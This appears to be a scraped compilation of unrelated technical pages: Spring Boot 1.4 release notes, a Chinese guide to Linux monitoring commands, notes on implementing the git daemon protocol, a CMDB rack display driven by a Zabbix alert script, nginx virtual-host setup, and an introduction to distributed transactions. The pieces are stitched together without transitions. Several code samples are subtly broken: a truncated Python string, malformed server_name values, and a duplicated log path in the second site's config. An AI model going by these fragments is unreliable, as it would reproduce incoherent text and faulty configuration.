  • Custom information from the Environment (any property starting info.*)

Details are documented in the "Application information" section of the reference docs.

MetricsFilter improvements

The MetricsFilter can now submit metrics in both the classic "merged" form, or grouped per HTTP method. Use endpoints.metrics.filter properties to change the configuration:

endpoints.metrics.filter.gauge-submissions=grouped
endpoints.metrics.filter.counter-submissions=grouped,merged

Spring Session JDBC Initializer

If Spring Session is configured to use the JDBC store, the schema is now created automatically on startup.

Secured connection for Artemis/HornetQ

Spring Boot now allows to connect against a secured Artemis/HornetQ broker.

Miscellaneous

  • server.jetty.acceptors and server.jetty.selectors properties have been added to configure the number of Jetty acceptors and selectors.

  • server.max-http-header-size and server.max-http-post-size can be used to constrain maximum sizes for HTTP headers and HTTP POSTs. Settings work on Tomcat, Jetty and Undertow.

  • The minimum number of spare threads for Tomcat can now be configured usingserver.tomcat.min-spare-threads

  • Profile negation in now supported in application.yml files. Use the familiar ! prefix inspring.profiles values

  • The actuator exposes a new headdump endpoint that returns a GZip compressed hprof heap dump file

  • Spring Mobile is now auto-configured for all supported template engines

  • The Spring Boot maven plugin allows to bundle system scoped artifacts using the newincludeSystemScope attribute

  • spring.mvc.log-resolved-exception enables the automatic logging of a warning when an exception is resolved by a HandlerExceptionResolver

  • spring.data.cassandra.schema-action you be used to customize the schema action to take on startup

  • Spring Boot’s fat jar format should now consume much less memory

  • Locale to Charset mapping is now supported via the spring.http.encoding.mapping. property

Spring Data "Ingalls" release train support

Spring Boot 1.4 GA ships with the Spring Data "Hopper" release out of the box. Users that would like to try the "Ingalls" release train (available in milestone one at the time of writing) can do so by just setting the spring-data-releasetrain.version property to Ingalls-M1 and declaring the Spring milestone repository.

Depending on what modules of Spring Data you use, you might have to upgrade a couple of transitive dependencies, too:

Deprecations in Spring Boot 1.4

  • Velocity support has been deprecated since support has been deprecated as of Spring Framework 4.3.

  • Some constructors in UndertowEmbeddedServletContainer have been deprecated (most uses should be unaffected).

  • The locations and merge attributes of the @ConfigurationProperties annotation have been deprecated in favor of directly configuring the Environment.

  • The protected SpringApplication.printBanner method should no longer be used to print a custom banner. Use the Banner interface instead.

  • The protected InfoEndpoint.getAdditionalInfo method has been deprecated in favor of theInfoContributor interface.

  • org.springframework.boot.autoconfigure.test.ImportAutoConfiguration has been moved toorg.springframework.boot.autoconfigure.

  • All classes in the org.springframework.boot.test package have been deprecated. See the "upgrading" notes above for details.

  • PropertiesConfigurationFactory.setProperties(Properties) is deprecated in favor of usingPropertySources.

  • Several classes in the org.springframework.boot.context.embedded package have been deprecated and relocated to org.springframework.boot.web.servlet.

  • All classes in the org.springframework.boot.context.web package have been deprecated and relocated.

  • The spring-boot-starter-ws "Starter" has been renamed to spring-boot-starter-web-services.

  • The spring-boot-starter-redis "Starter" has been renamed to spring-boot-starter-data-redis.

  • The spring-boot-starter-hornetq starter and auto-configuration has been deprecated in favour of using spring-boot-starter-artemis

  • management.security.role has been deprecated in favour of management.security.roles

  • The @org.springframework.boot.orm.jpa.EntityScan annotation has been deprecated in favor of @org.springframework.boot.autoconfigure.domain.EntityScan or explicit configuration.

  • TomcatEmbeddedServletContainerFactory.getValves() has been deprecated in favor ofgetContextValves().

  • org.springframework.boot.actuate.system.EmbeddedServerPortFileWriter has been deprecated in favor of org.springframework.boot.system.EmbeddedServerPortFileWriter

  • org.springframework.boot.actuate.system.ApplicationPidFileWriter has been deprecated in favor of org.springframework.boot.system.ApplicationPidFileWriter

Property Renames


redis 设置过期Key 的 maxmemory-policy 六种方式

十个强大的linux 命令

如果系统中根本就没有/etc/inittab文件的话,也没关系,直接创建这个文件,并添加新的一行“id:3”。这样的话,你再重启服务器,便会默认进入命令行状态。当然,如果你只想在临时进入命令行状态,那么直接在终端中输入“init 3”就好了。

至此,我们的命令行准备好了,下面就可以开始通过强大的命令来查看“到底服务器里发生了什么”:

[01    - iostat       ]  [02/03 - meminfo/free ]  [04    - mpstat       ]  [05    - netstat      ]  [06    - nmon         ]  [07    - pmap         ]  [08/09 - ps/pstree    ]  [10    - sar          ]  [11    - strace       ]  [12    - tcpdump      ]  [13    - top          ]  [14    - uptime       ]  [15    - vmstat       ]  [16    - wireshark    ]

[01 - iostat]

iostat命令显示的是你的存储系统的细节状态。你通常可以用这个命令去检测你的存储设备是否工作正常,

完全可以在用户抱怨服务器慢之前,通过这个命令发现系统IO方面的问题。

如下可以看到iostat既可以显示CPU使用情况,也可以看到每个磁盘的IO情况。

# iostat 1  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     avg-cpu: %user %nice %system %iowait %steal %idle  0.55 0.00 0.03 0.02 0.00 99.40     Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn  sdb 0.41 2.61 5.76 2558664 5653872  sda 0.24 0.80 4.12 784650 4038344

[02/03 - meminfo/free]

meminfo提供了很详细的内存使用状况。可以直接用cat命令查看:

cat /proc/meminfo

当然meminfo里包含了太多细节,你可以直接使用free命令来查看有关内存的综述。

# free -m  total used free shared buffers cached  Mem: 1513 1429 83 0 343 836  -/+ buffers/cache: 249 1263  Swap: 0 0 0

[04 - mpstat]

mpstat用在多处理器的服务器上,用来显示每一个CPU的状态。

另外,mpstat也会显示所有处理器的平均状况。

你可以设置显示每个服务器的CPU统计信息,或者每个处理的CPU统计信息。

# mpstat -P ALL  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     17时46分35秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle  17时46分35秒 all 0.55 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.40  17时46分35秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08  17时46分35秒 1 0.51 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.44  17时46分35秒 2 0.45 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.51  17时46分35秒 3 0.40 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.56     # mpstat -P 0  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     17时46分39秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle  17时46分39秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08

其中各个域的含义简述如下:

[05 - netstat]

netstat命令,是Linux系统管理员几乎每天都会用到的命令(它已经逐步在被ss命令取代),他可以显示很多有关网络方面的信息,例如socket使用情况、路由情况、网卡情况、协议情况、网络流量统计等等。

一些常用的netstat选项包括:

[06 - nmon]

nmon是Nigel’s Monitor的缩写,它是一个很知名的监视Linux系统性能的工具。

nmon可以查看到处理器利用率、内存使用率、运行队列信息、磁盘IO统计、网络IO统计、换页统计等。

你可以通过一个基于curses的类GUI界面来查看到上述信息。

nmon监控工具

[07 - pmap]

pmap命令可以显示进程占用的内存量。

你可以通过pmap找到那个占用内存量最多的进程。

如下就是nignx主进程所占用的内存情况:

# pmap 2395|head -n 10  2395: nginx: master process ./sbin/nginx  00110000 240K r-x-- /lib/libgssapi_krb5.so.2.2  0014c000 4K ----- /lib/libgssapi_krb5.so.2.2  0014d000 4K r---- /lib/libgssapi_krb5.so.2.2  0014e000 4K rw--- /lib/libgssapi_krb5.so.2.2  0014f000 12K r-x-- /lib/libcom_err.so.2.1  00152000 4K r---- /lib/libcom_err.so.2.1  00153000 4K rw--- /lib/libcom_err.so.2.1  00154000 48K r-x-- /lib/libnss_files-2.12.so  00160000 4K r---- /lib/libnss_files-2.12.so  ...  b78e4000 20K rw--- [ anon ]  b78f3000 4K rw-s- /dev/zero (deleted)  b78f4000 4K rw--- [ anon ]  bfeaa000 84K rw--- [ stack ]  total 7280K

[08/09 - ps/pstree]

ps和pstree在Linux系统里是一对好兄弟,它们都是用来列出处于运行状态的进程的列表的。

ps告诉我们每个进程使用的内存量以及所消耗的CPU时间。

pstree则会告诉我们进程间的父子关系,如下便是mysql的一些父子关系信息:

# pstree -p 1829  mysqld_safe(1829)───mysqld(2307)─┬─{mysqld}(2309)                                   ├─{mysqld}(2310)                                   ├─{mysqld}(2311)                                   ├─{mysqld}(2312)                                   ├─{mysqld}(2313)                                   ├─{mysqld}(2314)                                   ├─{mysqld}(2315)                                   ├─{mysqld}(2316)                                   ├─{mysqld}(2317)                                   ├─{mysqld}(2318)                                   ├─{mysqld}(2320)                                   ├─{mysqld}(2321)                                   ├─{mysqld}(2322)                                   ├─{mysqld}(2323)                                   ├─{mysqld}(2325)                                   ├─{mysqld}(2544)                                   ├─{mysqld}(2548)                                   ├─{mysqld}(7912)                                   ├─{mysqld}(7914)                                   ├─{mysqld}(7916)                                   ├─{mysqld}(24689)                                   ├─{mysqld}(27329)                                   └─{mysqld}(27331)

[10 - sar]

sar命令堪称系统监控工具里的瑞士军刀。

sar命令实际上是由三个程序组成的,即sar(用于显示数据)、sa1(用于采集数据)和sa2(用于存储数据)。

sar可以涵盖到CPU利用率信息、内存换页信息、网络IO传输信息、进程创建行为和存储设备行为。

sar和nmon的最大区别在于,sar更适用于长期的系统监控,而nmon则更适用于快速查看信息。

如果希望更详细的学习sar命令,可以阅读《sar访谈》-linux命令五分钟系列之二十九。

[11 - strace]

starce经常被用来作为追查程序问题的工具,但他的功能远非如此。

它可以解析和记录进程的系统调用行为,这使得strace成为了一个非常有用的诊断、调查和纠错工具。

举例来说,你可以适用strace来追查到一个程序在启动之初所需加载的配置文件信息。

当然,strace也有它自身的缺陷,那就是strace会严重拖慢调查对象(某个进程)的性能和运行速度。

顺便推荐一篇非常好的strace的文章:《strace使用详解》

另外,如果你使用MAC,strace的替代品是truss。

[12 - tcpdump]

tcpdump是一个简单的、好用的网络监控工具。它的网络协议分析能力使得它能够看清网络中到底发生了什么,如果你希望更细节的调查的话,可以考虑适用功能更为强大的wireshark工具。

tcpdump的系列教程“在这里”。

[13 - top]

top命令可以显示系统中的进程信息。默认情况下,top会按照CPU使用率从高到低来显示系统中的进程,并且每5秒刷新一次排行榜。

当然,你也可以让top按照PID、进程寿命、CPU耗时、内存消耗等维度对进程进行排序。(我经常使用的是P和M快捷键,分别是按CPU利用率排序、按内存使用量排序)

通过top命令,你可以很快的发现那些失去控制或不符合预期的进程。

[14 - uptime]

通过uptime命令可以查看系统已经运行了多久,可以统计当前处于登陆状态的用户数量,还可以显示当前服务器的负载情况。

# uptime  18:35:17 up 11 days, 9:30, 1 user, load average: 0.00, 0.00, 0.00

[15 - vmstat]

大多数情况下,你可以使用vmstat命令去查看系统的虚拟内存情况,因为Linux通常会通过虚拟内存来获得更好的存储性能。

如果你的程序占用了大量了内存,那么系统会进行内存页换出的动作,以便把程序从内存中移动到系统SWAP空间中,也就是硬盘中。

如果系统的内存页的换入换出动作频度超过一个临界值,那么这种状态被叫做“Thrashing”。当系统处于thrashing状态时,性能会急剧下降。

vmstat命令便可以帮助人们及时发现此类问题,找出那个拖慢系统的元凶。

# vmstat 1  procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----  r b swpd free buff cache si so bi bo in cs us sy id wa st  2 0 0 57484 356864 861332 0 0 0 1 7 3 1 0 99 0 0  0 0 0 57468 356864 861360 0 0 0 0 336 145 6 1 94 0 0  0 0 0 57468 356864 861360 0 0 0 0 43 51 0 0 100 0 0  0 0 0 57468 356864 861360 0 0 0 16 51 62 0 0 100 0 0

[16 - wireshark]

Wireshark的前身叫做Ethereal,我们可以认为wireshark是tcpdump命令的大师兄,因为wireshark会更为专业,也具有更高级的协议分析和统计能力。

Wireshark同时具有GUI界面和shell借口。

如果你是一位资深的网络管理员,那么你一定使用过ethereal。而如果你正在使用wireshark/ethereal,那么我推荐你阅读Chris Sander的一本非常好的书《Practical Packet Analysis》。

GIT 传输协议实现


GIT 传输协议实现


在 GIT 的三种主流传输协议 HTTP SSH GIT 中,GIT 协议是最少被使用的协议(也就是 URL 以 git:// 开始的协议)。 这是由于 git 协议的权限控制几乎没有,要么全部可读,要么全部可写,要么全部可读写。所以对于代码托管平台来说, git 协议的目的仅仅是为了支持 公开项目的只读访问。

在 git 的各种传输协议中,git 协议无疑是最高效的,HTTP 受限于 HTTP 的特性,传输过程需要构造 HTTP 请求和响应。 如果是 HTTPS 还涉及到加密解密。另外 HTTP 的超时设置,以及包体大小限制都会影响用户体验。

而 SSH 协议的性能问题主要集中在加密解密上。当然相对于用户的信息安全来说,这些代价都是可以接受。

git 协议实际上相当于 SSH 无加密无验证,也就无从谈起权限控制,但实际上代码托管平台内部的一些同步服务,如果使用 git 协议实现,将会得到很大的性能提升。


传输协议规范


git 协议的技术文档可以从 git 源码目录的 Documentation/technical 找到,即 Packfile transfer protocols 创建 TCP 连接后,git 客户端率先发送请求体,请求格式基于 BNF 的描述如下:

git-proto-request = request-command SP pathname NUL [ host-parameter NUL ]
request-command  = "git-upload-pack" / "git-receive-pack" / "git-upload-archive"; case sensitive
pathname       = *( %x01-ff ) ; exclude NUL
host-parameter   = "host=" hostname [ ":" port ]


一个例子如下:

0033git-upload-pack /project.git\0host=myserver.com\0

在 git 的协议中,pkt-line 是非常有意思的设计,行前 4 个字节表示整个行长,长度包括其前 4 字节, 但是有个特例,0000 其代表行长为 0,但其自身长度是 4。

下面是一个关于请求的结构体:

struct GitRequest{    std::string command;    std::string path;    std::string host;
};

git 有自带的 git-daemon 实现,这个服务程序监听 9418 端口,在接收到客户端的请求后,先要判断 command 是 否是被允许的,git 协议中有 fetch 和 push 以及 archive 之类的操作,分别对应的服务器上的命令是 git-upload-pack git-receive-pack git-upload-archive。HTTP 只会支持前两种,SSH 会支持三种,而 代码托管平台的 git 通常支持的 是 git-upload-pack git-upload-archive。

当不允许的命令被接入时需要发送错误信息给客户端,这个信息在不同的 git-daemon 实现中也不一样,大体 如下所示。

001bERR service not enabled

git-daemon 将对请求路径进行转换,以期得到在服务器上的绝对路径,同时可以判断路径是否存在,不存在时 可以给客户端发送 Repository Not Found。而 host 可能时域名也可能时 ip 地址,当然也可以包括端口。 服务器可以在这里做进一步的限制,出于安全考虑应当考虑到请求是可以被伪造的。

客户端发送请求过去后,服务器将启动相应的命令,将命令标准错误和标准输出的内容发送给客户端,将客户端 传输过来的数据写入到命令的标准输入中来。

在请求体中,命令为 git-upload-pack /project.git 在服务器上运行时,就会类似

git-upload-pack ${RepositoriesRoot}/project.git

出于限制连接的目的,一般还会添加 --timeout=60 这样的参数。timeout 并不是整个操作过程的超时。

与 HTTP 不同的是,git 协议的命令中没有参数 --stateless-rpc 和 --advertise-refs ,在 HTTP 中,两个参数都存在时, 只输出存储库的引用列表与 capabilities,与之对于的是 GET /repository.git/info/refs?service=git-upload(receive)-pack , 当只有 --stateless-rpc 时,等待客户端的数据,然后解析发送数据给客户端,,与之对应的是 POST /repository.git/git-upload(receive)-pack


进程输入输出的读写


在 C 语言中,有 popen 函数,可以创建一个进程,并将进程的标准输出或标准输入创建成一个文件指针,即FILE* 其他可以使用 C 函数的语言很多也提供了类似的实现,比如 Ruby,基于 Ruby 的 git HTTP 服务器 grack 正是使用 的 popen,相比与其他语言改造的 popen,C 语言中 popen 存在了一些缺陷,比如无法同时读写,如果要输出标准 错误,需要在命令参数中额外的将标准错误重定向到标准输出。

在 musl libc 的中,popen 的实现如下:

FILE *popen(const char *cmd, const char *mode)
{int p[2], op, e;pid_t pid;FILE *f;posix_spawn_file_actions_t fa;if (*mode == 'r') {op = 0;} else if (*mode == 'w') {op = 1;} else {errno = EINVAL;return 0;}if (pipe2(p, O_CLOEXEC)) return NULL;f = fdopen(p[op], mode);if (!f) {__syscall(SYS_close, p[0]);__syscall(SYS_close, p[1]);return NULL;}FLOCK(f);/* If the child's end of the pipe happens to already be on the final* fd number to which it will be assigned (either 0 or 1), it must* be moved to a different fd. Otherwise, there is no safe way to* remove the close-on-exec flag in the child without also creating* a file descriptor leak race condition in the parent. */if (p[1-op] == 1-op) {int tmp = fcntl(1-op, F_DUPFD_CLOEXEC, 0);if (tmp < 0) {e = errno;goto fail;}__syscall(SYS_close, p[1-op]);p[1-op] = tmp;}e = ENOMEM;if (!posix_spawn_file_actions_init(&fa)) {if (!posix_spawn_file_actions_adddup2(&fa, p[1-op], 1-op)) {if (!(e = posix_spawn(&pid, "/bin/sh", &fa, 0,(char *[]){ "sh", "-c", (char *)cmd, 0 }, __environ))) {posix_spawn_file_actions_destroy(&fa);f->pipe_pid = pid;if (!strchr(mode, 'e'))fcntl(p[op], F_SETFD, 0);__syscall(SYS_close, p[1-op]);FUNLOCK(f);return f;}}posix_spawn_file_actions_destroy(&fa);}
fail:fclose(f);__syscall(SYS_close, p[1-op]);errno = e;return 0;
}


在 Windows Visual C++ 中,popen 源码在 C:\Program Files (x86)\Windows Kits\10\Source\${SDKVersion}\ucrt\conio\popen.cpp , 按照 MSDN 文档说明,Windows 32 GUI 程序,即 subsystem 是 Windows 的程序,使用 popen 可能导致程序无限失去响应。

所以在笔者实现 git-daemon 及其他 git 服务器时,都不会使用 popen 这个函数。

为了支持跨平台和简化编程,笔者在实现 svn 代理服务器时就使用了 Boost Asio 库,后来也用 Asio 实现过一个 git 远程命令服务, 每一个客户端与服务器连接后,服务器启动程序,需要创建 3 条管道,分别是 子进程的标准输入 输出 错误,即 stdout stdin stderr, 然后注册读写异步事件,将子进程的输出与错误写入到 socket 发送出去,读取 socket 写入到子进程的标准输入中。

在 POSIX 系统中,boost 有一个文件描述符类 boost::asio::posix::stream_descriptor 这个类不能是常规文件,以前用 go 做 HTTP 前端 没注意就 coredump 掉。

在 Windows 系统中,boost 有文件句柄类 boost::asio::windows::stream_handle 此处的文件应当支持随机读取,比如命名管道(当然 在 Windows 系统的,匿名管道实际上也是命名管道的一种特例实现)。

以上两种类都支持 async_read async_write ,所以可以很方便的实现异步的读取。

上面的做法,唯一的缺陷是性能并不是非常高,代码逻辑也比较复杂,当然好处是,错误异常可控一些。

在 Linux 网络通信中,类似与 git 协议这样读取子进程输入输出的服务程序的传统做法是,将 子进程的 IO 重定向到 socket, 值得注意的是 boost 中 socket 是异步非阻塞的,然而,git 命令的标准输入标准错误标准输出都是同步的,所以在 fork 子进程之 前,需要将 socket 设置为同步阻塞,当 fork 失败时,要设置回来。

socket_.native_non_blocking(false);

另外,为了记录子进程是否异常退出,需要注册信号 SIGCHLD 并且使用 waitpid 函数去等待,boost 就有boost::asio::signal_set::async_wait 当然,如果你开发这样一个服务,会发现,频繁的启动子进程,响应信号,管理连接,这些操作才是性能的短板。

一般而言,Windows 平台的 IO 并不能重定向到 socket,实际上,你如果使用 IOCP 也可以达到相应的效率。还有,Windows 的 socket API WSASocket WSADuplicateSocket 复制句柄 DuplicateHandle ,这些可以好好利用。


其他


对于非代码托管平台的从业者来说,上面的相关内容可能显得无足轻重,不过,网络编程都是殊途同归,最后核心理念都是类似的。关于 git-daemon 如果笔者有时间会实现一个跨平台的简易版并开源。

CMDB机柜平台结合zabbix告警展示

 Zabbix3.0入门到生产环境应用实战视频教程:

http://www.roncoo.com/course/view/fb3050a5b34b42f39ccad83ebebc89c1


龙果运维平台开源项目地址:

https://github.com/roncoo/roncoo-cmdb


最近看了刘天斯老师的机柜展示平台,非常绚丽,而且有大屏显示的话也是能够体现运维价值的,这里就说下我最近在做的CMDB平台的一些数据:

CMDB数据:

 机房,机柜,机柜电源,机柜位置,机房合同,合同到期时间,机房联系人。

 服务器,CPU,硬盘,是否虚拟化,宿主机,raid类型,内存。

 资产ID,上架日期,下架记录,服务器代理商,代理商联系方式,服务器到保日期。

 IP地址,MAC地址,业务线,产品线,操作系统。


通信这块主要技术json-rpc,然后提供Api接口给程序调用,按照固定格式导入即可;硬件固定信息,如IP,MAC,硬盘等信息,通过自动采集的API POST方式加入到数据表。像机房信息,机柜之类的可以给机房抄送一份excel表格然后直接导入即可。


  机房服务器展示:通过把刘天斯老师机柜暂时平台的前端拿过来,然后结合到表结构里面展示;在故障告警的时候,留有一个告警接口的API,通过zabbix 把告警数据发送到运维平台;运维平台入库告警展示:下面是前端简单展示效果,具体操作如下:

images/FcQw75DraeRMS45XGhidWTKzmdCa6FAX.png


前端机柜生成效果显示:闪烁效果直接获取厂商的gif文件调用即可,机柜命名方式比如下面的:5-6,5-7就分别表示第五排第六,第七个机柜:


images/eRMAwNZ3dbW8n3Qw8eSwnDwQrH8TERjE.png


上面是正常显示,当出现故障时候:就结合zabbix 告警脚本,发送过去给接口,故障如下:


images/eKcbdChpkGdY8YyjJCNS2QzHRRTKxAdB.png


images/8Ttfdz5AtxPybtea2wX7eeMjB7ekDGYi.png


鼠标移动到机柜就显示服务器的相关信息:


images/ffA6GcfZ5KBCmtDrbdMeeHNYdw5EKaKR.png



zabbix 的告警脚本并且发送状态到运维平台,并且更改服务器状态:


[root@controller alertscripts]# cat zabbix_alert.py 

#!/usr/bin/python

#coding:utf-8 

import requests,json 

import smtplib

from email.mime.text import MIMEText

import sys 

  

#邮箱服务器地址

mail_host = 'smtp.163.com'

#邮箱用户名

mail_user = 'xxxxx@163.com'

#邮箱密码

mail_pass = 'xxxxxx123456'

mail_postfix = '163.com'

  

def send_mail(to_list,subject,content):

    me = mail_user+"

    msg = MIMEText(content)

    msg['Subject'] = subject

    msg['From'] = me

    msg['to'] = to_list 

  

    try:

        s = smtplib.SMTP()

        s.connect(mail_host)

        s.login(mail_user,mail_pass)

        s.sendmail(me,to_list,msg.as_string())

        s.close()

        return True

    except Exception,e:

        print str(e)

        return False

def alert(message):

    headers = {"Content-Type": "application/json"}

    data = {}

    res = {}

    data['status'] = message 

    res['params']=data

    res['jsonrpc'] = "2.0"

    res["id"] = 1

    res["method"]= "alert.turn"

    url = "http://192.168.63.216:2000/api"

    r = requests.post(url, headers=headers,json=res)

  

if __name__ == "__main__":

    send_mail(sys.argv[1], sys.argv[2], sys.argv[3])

    alert(sys.argv[2])


后端返回状态改变之后直接入库修改,我这边只是判断是否主题是PROBLEM或者OK:


前端代码可以按照刘天斯老师的然后自己修改成jquery即可,前端可以去自由发挥,如下简单样例:


<table border="0" cellpadding="1" cellspacing="0" height="440" width="99%">    

<tbody><tr>    

<td class="jgtable" align="center" height="30" valign="bottom"><font class="jgtitle">01</font></td></tr>      

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

</tbody></table>

Nginx多站点设置

方法一:多个.conf方法(优点是灵活,缺点就是站点比较多配置起来麻烦)

这里以配置2个站点(2个域名)为例,n 个站点可以相应增加调整,假设:

IP地址: 202.55.1.100
域名1 example1.com 放在 /www/example1
域名2 example2.com 放在 /www/example2

配置 nginx virtual hosting 的基本思路和步骤如下:

把2个站点 example1.com, example2.com 放到 nginx 可以访问的目录 /www/
给每个站点分别创建一个 nginx 配置文件 example1.com.conf,example2.com.conf, 并把配置文件放到 /etc/nginx/vhosts/
然后在 /etc/nginx.conf 里面加一句 include 把步骤2创建的配置文件全部包含进来(用 * 号)
重启 nginx

具体过程

下面是具体的配置过程:

1、在 /etc/nginx 下创建 vhosts 目录

mkdir /etc/nginx/vhosts

2、在 /etc/nginx/vhosts/ 里创建一个名字为 example1.com.conf 的文件,把以下内容拷进去

server {listen  80;server_name  example1.com www. example1.com;access_log  /www/access_ example1.log  main;location / {root   /www/example1.com;index  index.php index.html index.htm;}error_page   500 502 503 504  /50x.html;location = /50x.html {root   /usr/share/nginx/html;}# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000location ~ .php$ {fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  /www/example1.com/$fastcgi_script_name;include        fastcgi_params;}location ~ /.ht {deny  all;}
}

3、在 /etc/nginx/vhosts/ 里创建一个名字为 example2.com.conf 的文件,把以下内容拷进去

server {listen  80;server_name  example2.com www. example2.com;access_log  /www/access_ example1.log  main;location / {root   /www/example2.com;index  index.php index.html index.htm;}error_page   500 502 503 504  /50x.html;location = /50x.html {root   /usr/share/nginx/html;}# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000location ~ .php$ {fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  /www/example2.com/$fastcgi_script_name;include        fastcgi_params;}location ~ /.ht {deny  all;}
}

4、打开 /etc/nginix.conf 文件,在相应位置加入 include 把以上2个文件包含进来

user  nginx;
worker_processes  1;# main server error log
error_log	/var/log/nginx/error.log ;
pid	/var/run/nginx.pid;events {worker_connections  1024;
}# main server config
http {include       mime.types;default_type  application/octet-stream;log_format  main  '$remote_addr - $remote_user [$time_local] $request ''"$status" $body_bytes_sent "$http_referer" ''"$http_user_agent" "$http_x_forwarded_for"';sendfile        on;#tcp_nopush     on;#keepalive_timeout  0;keepalive_timeout  65;gzip  on;server {listen         80;server_name     _;access_log      /var/log/nginx/access.log main;server_name_in_redirect  off;location / {root  /usr/share/nginx/html;index index.html;}}# 包含所有的虚拟主机的配置文件include /usr/local/etc/nginx/vhosts/*;
}

5、重启 Nginx

/etc/init.d/nginx restart方法二:动态目录方法(优点是方便,每个域名对应一个文件夹,缺点是不灵活)

这个简单的方法比起为每一个域名建立一个 vhost.conf 配置文件来讲,只需要在现有的配置文件中增加如下内容:

# Replace this port with the right one for your requirements
# 根据你的需求改变此端口
listen       80;  #could also be 1.2.3.4:80 也可以是1.2.3.4:80的形式
# Multiple hostnames seperated by spaces.  Replace these as well.
# 多个主机名可以用空格隔开,当然这个信息也是需要按照你的需求而改变的。
server_name  star.yourdomain.com *.yourdomain.com http://www.*.yourdomain.com/;
#Alternately: _ *
#或者可以使用:_ * (具体内容参见本维基其他页面)
root /PATH/TO/WEBROOT/$host;
error_page  404              http://yourdomain.com/errors/404.html;
access_log  logs/star.yourdomain.com.access.log;
location / {
root   /PATH/TO/WEBROOT/$host/;
index  index.php;
}
# serve static files directly
# 直接支持静态文件 (从配置上看来不是直接支持啊)
location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html)$ {
access_log        off;
expires           30d;
}
location ~ .php$ {
# By all means use a different server for the fcgi processes if you need to
# 如果需要,你可以为不同的FCGI进程设置不同的服务信息
fastcgi_pass   127.0.0.1:YOURFCGIPORTHERE;
fastcgi_index  index.php;
fastcgi_param  SCRIPT_FILENAME  /PATH/TO/WEBROOT/$host/$fastcgi_script_name;
fastcgi_param  QUERY_STRING     $query_string;
fastcgi_param  REQUEST_METHOD   $request_method;
fastcgi_param  CONTENT_TYPE     $content_type;
fastcgi_param  CONTENT_LENGTH   $content_length;
fastcgi_intercept_errors on;
}
location ~ /.ht {
deny  all;
}

最后附另外一个二级域名匹配的方法

绑定域名
server_name *.abcd.com;
获取主机名
if ( $host ~* (.*).(.*).(.*))
{
set $domain $1;
}
定义目录
root html/abc/$domain/;
location /
{
root html/abcd/$domain;
index index.html index.php;

分布式系统的事务处理经典问题及模型 - mmcmmc

简介

数据服务的高可用是所有企业都想拥有的,但是要想 让数据有高可用性,就需要冗余数据写多份。写多份的问题会带来一致性的问题,而一致性的问题又会带来性能问题,这就会陷入一个无解的死循环!


这里所谓数据 一致性,就是当多个用户试图同时访问一个数据库时,如果它们的事务同时使用相同的数据,可能会发生以下四种情况:丢失更新、未确定的相关性、不一致的分析 和幻像读。本篇文章将会给大家系统的介绍多种处理分布式数据一致性的技术模型,以下是作者原文:


在生产线上用一台服务器来提供数据服务的时候,经常会遇到如下的两个问题:

  • 一台服务器的性能不足以提供足够的能力服务于所有网络请求。


  • 担心服务器宕机,造成服务不可用或是数据丢失。


面对这些问题,我们不得不对服务器进行扩展,加入更多的机器来分担性能问题,以及解决单点故障问题。通常,我们会通过两种手段来扩展我们的数据服务:

  • 数据分区: 就是把数据分块放在不同的服务器上(如:uid % 16,一致性哈希等)。


  • 数据镜像: 让所有的服务器数据同步,提供无差别的数据服务。


使用第一种方案,无法解决数据丢失问题,单台服务器出问题时,一定会有部分数据丢失。所以,数据服务的高可用性只能通过第二种方法来完成——数据的冗余存 储(一般工业界认为比较安全的备份数应该是3份,如:Hadoop和Dynamo)。


但是,加入的机器越多数据就会变得越复杂,尤其是跨服务器的事务处 理,也就是跨服务器的数据一致性。这个是一个很难的问题!让我们用最经典的Use Case:“A帐号向B帐号汇钱”来说明一下,熟悉RDBMS事务的都 知道从帐号A到帐号B需要6个操作:

1、从A帐号中把余额读出来;

2、对A帐号做减法操作;

3、把结果写回A帐号中;

4、从B帐号中把余额读出来;

5、对B帐号做加法操作;

6、把结果写回B帐号中。


为了数据的一致性,这6件事,要么都成功做完,要么都不成功,而且这个操作的过程中,对A、B帐号的其它访问必需锁死,所谓锁死就是要排除其它的读写操作,不然会有脏数据问题,这就是事务。但是,在加入了多个机器后,这个事情会变得复杂起来:


1、在数据分区的方案中: 如果A帐号和B帐号的数据不在同一台服务器上怎么办?我们需要一个跨机器的事务处理。也就是说,如果A的扣钱成功了,但B的加钱不成功,我们还要把A的操作给回滚回去。在不同的机器上实现,就会比较复杂。


2、在数据镜像的方案中: A 帐号和B帐号间的汇款是可以在一台机器上完成的,但是别忘了我们有多台机器存在A帐号和B帐号的副本。如果对A帐号的汇钱有两个并发操作(要汇给B和 C),这两个操作发生在不同的两台服务器上怎么办?也就是说,在数据镜像中,在不同的服务器上对同一个数据的写操作怎么保证其一致性,保证数据不冲突?


